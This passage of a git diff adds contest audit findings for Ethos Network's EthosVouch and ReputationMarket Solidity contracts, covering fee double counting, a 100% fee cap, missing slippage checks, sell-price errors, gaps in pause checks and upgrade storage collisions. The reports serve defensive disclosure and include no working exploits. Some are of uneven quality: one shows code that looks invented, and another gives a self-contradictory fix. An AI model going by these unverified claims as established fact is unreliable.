magnified rewards of mutually vouched profiles happen because there is no implementation to check if there are mutually vouched. + +### Root Cause + +[`markUnhealthy`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L496C3-L510C4): +```solidity +function markUnhealthy(uint256 vouchId) public whenNotPaused { + Vouch storage v = vouches[vouchId]; + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnhealthy(vouchId); + _vouchShouldBelongToAuthor(vouchId, profileId); + v.unhealthy = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unhealthyAt = block.timestamp; + + emit MarkedUnhealthy(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` +1. Checks if `msg.sender` has a created profile. (`verifiedProfileIdForAddress`) +2. Checks if vouch exists [vouchId -> activityCheckpoints.vouchedAt != 0]. (`_vouchShouldExist`) +3. Checks if the vouch can be set as `unhealthy` by calling this function `_vouchShouldBePossibleUnhealthy`: +```solidity +function _vouchShouldBePossibleUnhealthy(uint256 vouchId) private view { + Vouch storage v = vouches[vouchId]; + bool stillHasTime = block.timestamp <= + v.activityCheckpoints.unvouchedAt + unhealthyResponsePeriod; + + if (!v.archived || v.unhealthy || !stillHasTime) { + revert CannotMarkVouchAsUnhealthy(vouchId); + } + } +``` +This function just checks if the unvouch was made within 24 hours and if it's not `archived`, already set to `unhealthy`. Does not check to see if `subjectProfileId` vouched `authorProfileId`. +4. Checks if `msg.sender` is the author of the vouch id. (`_vouchShouldBelongToAuthor`) + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +1. No magnified rewards for mutually vouched profiles as protocol intends. +2. Anyone can set a profile `unhealthy` (if they are an author of a vouch). + +### PoC + +_No response_ + +### Mitigation + +Ensure that there is a function to check whether to profiles are mutually vouched. +Call that function in `markUnhealthy`. + +Example: +```solidity +function markUnhealthy(uint256 vouchId) public whenNotPaused { + + ... rest of code + + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnhealthy(vouchId); + _vouchShouldBelongToAuthor(vouchId, profileId); + + // New Check: Verify mutual vouching + require( + hasMutualVouch(profileId, v.authorProfileId), + "Mutual vouching not established" + ); + + ... rest of code +} + +function hasMutualVouch(uint256 profileId1, uint256 profileId2) internal view returns (bool) { + // Implement logic to verify that profileId2 has vouched for profileId1 + return vouchesByProfile[profileId2].contains(profileId1); +} +``` \ No newline at end of file diff --git a/617.md b/617.md new file mode 100644 index 0000000..402aea8 --- /dev/null +++ b/617.md @@ -0,0 +1,43 @@ +Scruffy Berry Ape + +Medium + +# Admin Can Set Fees Up To 100% Affecting User Funds + +### Summary + +The choice to set `MAX_TOTAL_FEES` to 10000 basis points is a mistake as it allows admins to configure fees up to 100%, causing a potential loss of user funds as the protocol can charge excessive fees. + +### Root Cause +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +The MAX_TOTAL_FEES constant is incorrectly set to 10000 basis points (100%) instead of 1000 basis points (10%): +`uint256 public constant MAX_TOTAL_FEES = 10000; // Should be 1000` + +### Internal pre-conditions + +1. Admin needs to configure the total fees to be exactly 10000 basis points. +2. The `checkFeeExceedsMaximum` function does not prevent setting fees beyond the intended 10%. + +### External pre-conditions + +None + +### Attack Path + +1. Admin sets `entryProtocolFeeBasisPoints`, `entryDonationFeeBasisPoints`, `entryVouchersPoolFeeBasisPoints`, and `exitFeeBasisPoints` such that their sum equals 10000 basis points. +2. Users interact with the contract, expecting a maximum of 10% fees. +3. The contract deducts up to 100% in fees due to the misconfiguration. + +### Impact + +The users suffer an approximate loss of up to 100% of their staked amount due to excessive fees. The protocol gains these fees, which contradicts the intended business logic of a maximum 10% fee cap. + +### PoC + +_No response_ + +### Mitigation + +1. Change the `MAX_TOTAL_FEES` to 1000 basis points to enforce a 10% maximum fee cap. +2. Ensure the `checkFeeExceedsMaximum` function correctly enforces this limit. \ No newline at end of file diff --git a/618.md b/618.md new file mode 100644 index 0000000..da8c9b8 --- /dev/null +++ b/618.md @@ -0,0 +1,47 @@ +Gentle Plum Wallaby + +High + +# # Double Counting of Fees in ReputationMarket Will Lead to Fund Loss + +### Summary + +The incorrect handling of fees in the `buyVotes()` function will cause a loss of funds for the protocol as the `marketFunds[profileId]` will include both protocol fees and donation fees, leading to double counting. + +### Root Cause + +In `ReputationMarket.sol`, the line `marketFunds[profileId] += fundsPaid;` incorrectly adds the total funds paid, which includes both protocol fees and donation fees, to the market funds. This results in an inflated `marketFunds` value. [Github Link](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) + +In `ReputationMarket.sol`, the calculation of `marketFunds[profileId]` does not account for the fact that `fundsPaid` includes protocol fees and donations. + +### Internal pre-conditions + +1. The user needs to call `buyVotes()` and provide funds that include protocol fees and donations. +2. The market must be active and not graduated for the funds to be counted. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The protocol suffers an approximate loss of funds during market graduation. When the market is graduated, the total funds sent to the graduation contract will include the already counted protocol fees and donations, leading to a loss of these funds. + +### PoC + +_No response_ + +### Mitigation + +To fix this issue, the code should be modified to ensure that only the actual market funds (excluding protocol fees and donations) are counted in `marketFunds[profileId]`. This can be done by adjusting the line to: + +```solidity +marketFunds[profileId] += (fundsPaid - protocolFee - donation); +``` + + +This change will ensure that the funds tracked in the mapping `marketFunds` accurately reflect only the funds that are meant for the market, preventing any loss during the graduation process. \ No newline at end of file diff --git a/619.md b/619.md new file mode 100644 index 0000000..cfc04e4 --- /dev/null +++ b/619.md @@ -0,0 +1,79 @@ +Melted Syrup Crab + +High + +# Double Accounting of fees in `buyVotes()` + +### Summary + +- Double accounting of fees in `buyVotes()` + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L464 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +- During `buyVotes()` the user who's buying is charged a protocol fees and then these fees goes to `protocolFeeAddress` +- There is two times accounting of protocol fees done inside `buyVotes()` +- Firstly the protocolFeeAddress gets the fee value which is coming from _calculateBuy() +```solidity +( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + applyFees(protocolFee, donation, profileId); +``` +- Then at the end of function there is accounting done for `marketFunds` where they are adding `fundsPaid` into marketFunds depicting that how many native token are there in contract for this profileId +```solidity +marketFunds[profileId] += fundsPaid; +``` +- There is a bug here as `fundsPaid` variable which is coming from _calculateBuy() includes both `votePrice` and `protocolFee` +```solidity +while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; +@ --> fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +@ --> fundsPaid += protocolFee + donation; +``` +- So basically during `marketFunds[profileId] += fundsPaid;` the protocol adds both votePrice as well as protocolFee but actually it should only add votePrice value as protocolFee has been already transferred to protocolFeeAddress. +- So after this function the contract address only has `votePrice` amount of eth for this profile id but actually during accounting it include `votePrice + protocolFees` + + +### Impact + +- As there is two times accounting of fees so during `withdrawGraduatedMarketFunds()` native token gets transferred with amount as `marketFunds[profileId]`. +`_sendEth(marketFunds[profileId]);` +- So there will be accounting issue as native token transferred from buyVotes()for this profileId would be less than the value which is stored in `marketFunds[profileId]`. +- This implies during withdrawGraduatedMarketFunds if there are any extra native token in the contract the extra native token would be transferred from the contract which eventually would create with other users. + +### PoC + +_No response_ + +### Mitigation + +- Implement it like these +` marketFunds[profileId] += fundsPaid - protocolFee - donation;` \ No newline at end of file diff --git a/620.md b/620.md new file mode 100644 index 0000000..39c7f36 --- /dev/null +++ b/620.md @@ -0,0 +1,47 @@ +Soft Fossilized Aardvark + +Medium + +# Corruptible Upgradability Pattern + +### Summary + +The EthosVouch and ReputationMarket are UUPSUpgradeable. However, the storage of them might be corrupted during an upgrade. + +### Root Cause + +The Ethos contracts are meant to be upgradeable. However, it inherits contracts that are not upgrade-safe. +They are not simply linearly inherited but have a complex hierarchical relationship. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67C71-L67C86 +截屏2024-12-05 21 15 35 + +Among them, the contracts highlighted in yellow occupy storage slots. +Both the `AccessControl` contract and the `SignatureControl` contract use storage slots but do not implement a gap. +This will cause storage corruption and conflicts when new storage slots are added during upgrades to the `AccessControl` and `SignatureControl` contracts. +Additionally, the contract also inherits the non-upgradeable component `ReentrancyGuard`. + +### Internal pre-conditions + +If admin performs an upgrade and wants to add another storage slot in AccessControl or SignatureControl contract, the storage slot would mess up. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Storage conflicts may occur during the upgrade process. + +### PoC + +_No response_ + +### Mitigation + +1. Use the EIP-1967 proxy storage slot standard or add a gap. +2. Use `ReentrancyGuardUpgradeable` instead of `ReentrancyGuardUpgradeable` +https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/utils/ReentrancyGuardUpgradeable.sol \ No newline at end of file diff --git a/621.md b/621.md new file mode 100644 index 0000000..fcf5dda --- /dev/null +++ b/621.md @@ -0,0 +1,93 @@ +Cold Fiery Antelope + +Medium + +# Upgrades are prone to storage collision + +### Summary + +The EthosContracts suite (EthosVouch, ReputationMarket) implements UUPS upgradeability but requires storage layout enhancements for robust upgrades. + +### Root Cause + +Let's examine the current implementation: + +```solidity +contract AccessControl { + mapping(address => bool) public admins; // slot 0 + mapping(address => bool) public operators; // slot 1 + // Missing storage gap +} +``` + + +```solidity +contract SignatureControl { + mapping(bytes32 => bool) public usedSignatures; // slot 0 + // Missing storage gap +} +``` + +### Internal pre-conditions + +Future upgrades could introduce storage conflicts. Example of unsafe upgrade: + +```solidity +contract AccessControl { + mapping(address => bool) public admins; // slot 0 + mapping(address => bool) public operators; // slot 1 + mapping(address => uint256) public roles; // slot 2 - Conflicts with inherited contract storage +} +``` + + +### External pre-conditions + +No external conditions needed. + +### Attack Path + +Storage collision demonstration: + +```solidity +function testStorageCollision() public { + // Deploy V1 + EthosVouch v1 = new EthosVouch(); + + // Upgrade to V2 + EthosVouch v2 = new EthosVouchV2(); + // Storage slots overlap here +} +``` + +### Impact + +Storage corruption risks visualized: + +```solidity +contract EthosVouch is UUPSUpgradeable, AccessControl, SignatureControl { + // Inherited storage slots may overlap during upgrades +} +``` + +### Mitigation + +Implement storage gaps: + +```solidity +contract AccessControl { + mapping(address => bool) public admins; + mapping(address => bool) public operators; + + uint256[48] private __gap; // Reserve slots for future use +} +``` + + +```solidity +contract SignatureControl { + mapping(bytes32 => bool) public usedSignatures; + + uint256[49] private __gap; // Reserve slots for future use +} +``` diff --git a/622.md b/622.md new file mode 100644 index 0000000..f98b84f --- /dev/null +++ b/622.md @@ -0,0 +1,91 @@ +Melted Syrup Crab + +High + +# Fee taken on unused amount is not returned during `_calculateBuy()` + +### Summary + +During `_calculateBuy()` the fee is charged initially only on the msg.value send. The fee taken on the unused amount is not returned if there is an unused amount of ETH while buying tokens. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L971 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L477 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +- During buyVotes() we pass msg.value to get certain number of votes. +- Let's understand using an Ex. +- A user wants to buy vote tokens of 0.01 ether in some profile Id where config is of 0 index. +- Then _calculateBuy() gets called +```solidity + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` +- First the fees gets applied on 0.01 ether then the execution comes down to while loop where `fundsAvailable` = 0.01 ether and `votePrice` = 0.005 ether (assume there is no previous sell or buy) +- First time the while loop gets executed now the values would be fundsAvailable = 0.005 and votePrice = 0.0066 +- So now the while loop won't be executed. +- Now if we see the fee gets charged on whole msg.value (0.01 ether) but due to market price only 0.005 ether gets used so the fees charged on extra 0.005 ether is not being return to user which causes of loss of user funds to user. + +### Impact + +- Loss of users funds as the fees taken upon unused amount of ETH while buying tokens is not being returned. + +### PoC + +_No response_ + +### Mitigation + +- Fee should be only charged upon the amount of ETH used for buying . +- Implement logic of sellVotes() where the fee is charged upon correct amount. \ No newline at end of file diff --git a/623.md b/623.md new file mode 100644 index 0000000..aa7dd66 --- /dev/null +++ b/623.md @@ -0,0 +1,53 @@ +Young Felt Cobra + +High + +# `marketfunds ` are wrongly updated in `buyVote` function + +### Summary + +When a user purchases votes using the buyVotes function, there are two types of fees involved: protocol entry fees and donation fees, both deducted from the purchase amount. + +- Protocol fees are transferred to the designated protocol fee address. +- Donation fees are credited to the donationEscrow of the profile ID's author (referred to as the donationRecipient). +A variable named fundsPaid is used to track the total amount of funds spent on buying votes. This variable includes both the protocol fees and the donation fees +In the buyVotes function, the fundsPaid variable is added to marketFunds as shown below: +```solidity +// Tally market funds +marketFunds[profileId] += fundsPaid; +``` +This creates an issue: both protocol fees and donation fees are accounted for twice. + +- Once when they are collected and transferred to their respective holders (protocol fee address and donation recipient). +- Again when marketFunds is increased, which is later withdrawn by the graduation withdrawal address after the market's graduation. + +This double accounting is incorrect and unintended, resulting in a loss for the contract as two separate parties effectively collect the same fees. + + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Both protocol fees and donation fees are being added to `marketFunds`, resulting in a loss of funds for the contract. + +### PoC + +_No response_ + +### Mitigation + +The protocol should ensure that marketFunds does not include the fees deducted during the process of buying votes. \ No newline at end of file diff --git a/624.md b/624.md new file mode 100644 index 0000000..853dda0 --- /dev/null +++ b/624.md @@ -0,0 +1,42 @@ +Suave Ceramic Crane + +Medium + +# Profiles can increase vouch amount when contract is `Paused` + +### Summary + +Every function that changes state uses modifier `whenNotPaused` except for [`EthosVouch::increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426C3-L426C72): +```solidity +function increaseVouch(uint256 vouchId) public payable nonReentrant { +``` + +If for some reason an admin pauses the contract, anyone can still change the state of the contract increasing the vouch amount. + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Disrupting the state of the contract when is `Paused` + +### PoC + +_No response_ + +### Mitigation + +Add the modifier `whenNotPaused` to `increaseVouch`. \ No newline at end of file diff --git a/625.md b/625.md new file mode 100644 index 0000000..5ee79fc --- /dev/null +++ b/625.md @@ -0,0 +1,54 @@ +Warm Seafoam Crow + +High + +# flawed balance update + +### Summary + +When users purchase votes, the total amount they spend (fundsPaid) includes not only the vote price and donation but also the protocol fee. However, the entire fundsPaid amount is incorrectly added to the market funds, inflating the market balance with amounts that should not be counted as part of the market's funds (such as the protocol fee and donation). + +The fundsPaid value reflects the total transaction amount, which is meant to cover the vote price and donations, as well as the protocol fee. The protocol fee and donation is not intended to be part of the market funds, but the current implementation adds the entire fundsPaid amount to the market balance. This causes the market funds to be inflated by the protocol fee and donation amounts, leading to incorrect balance updates. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +as we can see here it incorrectly adds the full funds paid to market funds + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 + +the funds paid is the total of vote price donation and protocol fee + +when the contract tries to withdraw this incorrect balance in graduation market withdrawal the it will cause unexpected errors +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L660-L677 + + + + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +this will either revert locking the funds in due to trying to withdraw more than the actual balance or it will end up withdrawing more than the actual balance of the given market which can lead to drainage of funds which were not meant for that market + + +### PoC + +_No response_ + +### Mitigation + +dont add the fee while updating market funds \ No newline at end of file diff --git a/626.md b/626.md new file mode 100644 index 0000000..6a5ddee --- /dev/null +++ b/626.md @@ -0,0 +1,83 @@ +Melted Syrup Crab + +Medium + +# No slippage protection in sellVotes() + +### Summary + +There is no slippage protection in sellVotes() + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +- Lets consider a scenario where user wants to execute transaction of sellVotes() +- And lets suppose there is a big amount transaction of sellVotes() prior to user's transaction. +- Now according to user he should be thinking he would get x amount of ETH but in this case due to prior big transaction of sellVotes() the price would come very low. +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` +- Now users sell transaction gets executed at low price which was not intended to him. +- As there was no slippage during sellToken() he would get very less ETH hence loss to user. + +### Impact + +Loss of users fund as if there is any prior big transaction it would affect user's selling price and they would get less amount of ETH + +### PoC + +_No response_ + +### Mitigation + +Implement slippage like you did in buyVotes() \ No newline at end of file diff --git a/627.md b/627.md new file mode 100644 index 0000000..ade2ca0 --- /dev/null +++ b/627.md @@ -0,0 +1,60 @@ +Melted Syrup Crab + +High + +# User's get less amount of ETH than intended during sellVotes() + +### Summary + +During sellVotes() user receive less amount of ETH than what actually they should get + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +- During sellVotes() user sell their vote tokens against ETH at the current price. +- Inside sellVotes, `_calculateSell()` gets called. +- Inside the function _calcVotePrice() is called which fetches the current price for selling tokens. +```solidity +@-> uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; +@-> votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } +``` +- Then it goes into while loop now here is the problem, _calcVotePrice() again gets called and now as votes have been changed it would return a value less than the above call value as now one vote gets sold. +- After the second _calcVotePrice() the fundsReceived variable gets updated which causes the bug as the votePrice value added to fundsReceived is the value after selling a token second time not with the first time. +- This means votePrice would be smaller value comparing to what actual he should get. +- Due to this 2 times calclation of vote price user's receive less amount of ETH than what it actually should get. + +### Impact + +Loss of users funds as upon selling vote tokens they get less amountt of ETH than what actually the user should get. + +### PoC + +_No response_ + +### Mitigation + +- `fundReceived` value should be updated before updating the _calcVotePrice() \ No newline at end of file diff --git a/628.md b/628.md new file mode 100644 index 0000000..5065829 --- /dev/null +++ b/628.md @@ -0,0 +1,39 @@ +Little Honey Fish + +Medium + +# checkFeeExceedsMaximum will never revert as MAX_TOTAL_FEES is 100% + +### Summary + +In EthosVouch.sol whenever a fee is set the checkFeeExceedsMaximum will never revert as the MAX_TOTAL_FEES is set to 100% instead of 10% as is stated in the documentation. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +MAX_TOTAL_FEES is set to 100% instead of 10% so the check is broken + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Change to MAX_TOTAL_FEES to 10% instead of 100% \ No newline at end of file diff --git a/629.md b/629.md new file mode 100644 index 0000000..b6e2f79 --- /dev/null +++ b/629.md @@ -0,0 +1,41 @@ +Melted Syrup Crab + +Medium + +# `whenNotPaused` modifier is not checked in`increaseVouch()` + +### Summary + +increaseVouch() doesn't check the protocol is in pause state or not + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +- increaseVouch() does not check the protocol is in pause state or not. +- Various other functions like vouchByProfileId() , unVouch() , claimRewards() checks that the protocol is in pause state or not. +- They have forgotten to check pause state for increaseVouch() +- As vouch() and claim and unvouch doesn't work when protocol is in pause state so this function should also not work. + +### Impact + +- Even when protocol is in pause state people can use increaseVouch() which is not intended as all the functions like vouch() , unvouch() , claimRewards() doesn't work when the protocol is in pause state. + +### PoC + +_No response_ + +### Mitigation + + Put whenNotPaused modifier inside increaseVouch() \ No newline at end of file diff --git a/630.md b/630.md new file mode 100644 index 0000000..b745080 --- /dev/null +++ b/630.md @@ -0,0 +1,45 @@ +Young Felt Cobra + +High + +# Fees are also applied to the refund amount during the process of buying votes. + +### Summary + +- When a user wants to buy votes, they send ETH through msg.value. Votes are allocated based on the vote price, which is recalculated with each update. Any leftover ETH, insufficient to purchase a vote, is refunded to the user. +- Currently, there are two types of fees applied during the vote purchase: protocol fees and donation fees. These fees should be charged only on the amount actually used to buy votes, as that represents the effective purchase amount. +- However, in the protocol, fees are incorrectly applied to the entire msg.value sent by the user. +- After deducting the fees, the remaining ETH is used to purchase votes, and any residual ETH, which cannot cover the cost of an additional vote, is refunded to the user. +This indicates that fees are being collected on the entire msg.value, including the portion of ETH that is later refunded to the user. This behavior is unintended and not as expected, as fees should only be applied to the amount actually used for purchasing votes. + + + + + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L960 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Protocol fees and donation fees are also deducted from the refunded ETH amount during the buyVotes process, resulting in a loss for the buyer. + +### PoC + +_No response_ + +### Mitigation + +The protocol should ensure that both protocol fees and donation fees are collected only from the actual amount of ETH used to purchase votes. \ No newline at end of file diff --git a/631.md b/631.md new file mode 100644 index 0000000..b853639 --- /dev/null +++ b/631.md @@ -0,0 +1,49 @@ +Bald Lace Cyborg + +High + +# improper votePrice accounting in sellVote() leads to user getting less eth and protocol loss too. + +### Summary + +Calculating vote price is done in a wrong way in sell vote function. user will get less eth , when he will sell votes than he should actually get. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1026C1-L1040C6 + +in particular this function, vote price is being calculates before the funds recieved for that partiuclar loop. which was already calculated before . so one time extra vote price is being calculated which result in, less funds recieved back to the user. +instead it should be calculated like it was done in buy vote + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +lets consider a scenario , + +A user want to sell 4 trust votes, right now for that market total votes are 12 . 6 are trust and 6 are distrust. +now when user sell this tokens , and the time + +fundsReceived += votePrice; + +is being calculated. votePrice would (5 * baseprice/ 11), which really should be (6*basePrice/12). this is because already 2 times vote has been calculated and after 1st time . votes is being minused too before calling 2nd time. + +so in this , when all 4 tokens price would be calculated , he will end in getting less funds recieved than he should actuall, or funds he has paid to buy votes in a particular way calculation + +### Impact + +user will get less funds , also protocol fee is also being calculated on this funds recieved, so protocol will also get less exit fee. + +### PoC + +_No response_ + +### Mitigation + +funds recieved should be calculated first and then again calc price should be done for further loop. \ No newline at end of file diff --git a/632.md b/632.md new file mode 100644 index 0000000..23bef16 --- /dev/null +++ b/632.md @@ -0,0 +1,89 @@ +Melted Syrup Crab + +Medium + +# DOS of buyVote() or sellVote() while buying/selling with large amount of tokens. + +### Summary + +DOS of buyVote() or sellVote() while buying/selling with large amount of tokens. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L970 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +- Let's take an example to understand this. +- A user wants to buy huge amount of tokens for a profile id whose connfig is of index 2 +- Assume current voteprice = 0.005 ether , msg.value = 10 ether +- Now when he calls buy tokens function it would go inside _calculateBuy() and then enters into while loop +```solidity +function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` +- So here now fundsAvailable = 10 ether and votePrice = 0.005 ether +- This while loop would revolve for 1400-1500 times according to example taken. +- And i calculated out of gas problem would start occuring from 800 iteration. +- So even if take less value than 10 ether then also the bug i possible the main requiremnt of the bug is the while loop should continue for more than 800 iteration. + +### Impact + +Users would not be able to buy big amount of tokens as the transaction would be DOSed. + +### PoC + +_No response_ + +### Mitigation + +- Limit while loop iteration such that DOS doesn't happen \ No newline at end of file diff --git a/633.md b/633.md new file mode 100644 index 0000000..6942b78 --- /dev/null +++ b/633.md @@ -0,0 +1,45 @@ +Long Satin Wasp + +Medium + +# Have no emit for important state variable, cause bad UI experience + +### Summary + +have no emit for important state variable, cause bad ui experience +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L659 + + +### Root Cause + +```solidity + function updateUnhealthyResponsePeriod( + uint256 unhealthyResponsePeriodDuration + ) external onlyAdmin whenNotPaused { + unhealthyResponsePeriod = unhealthyResponsePeriodDuration; + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/634.md b/634.md new file mode 100644 index 0000000..4ca2385 --- /dev/null +++ b/634.md @@ -0,0 +1,328 @@ +Passive Tawny Sheep + +Medium + +# Rounding error in fees calculation making protocol loss a portion of fees + +### Summary + +If one of the fees is set to 10% or more in the 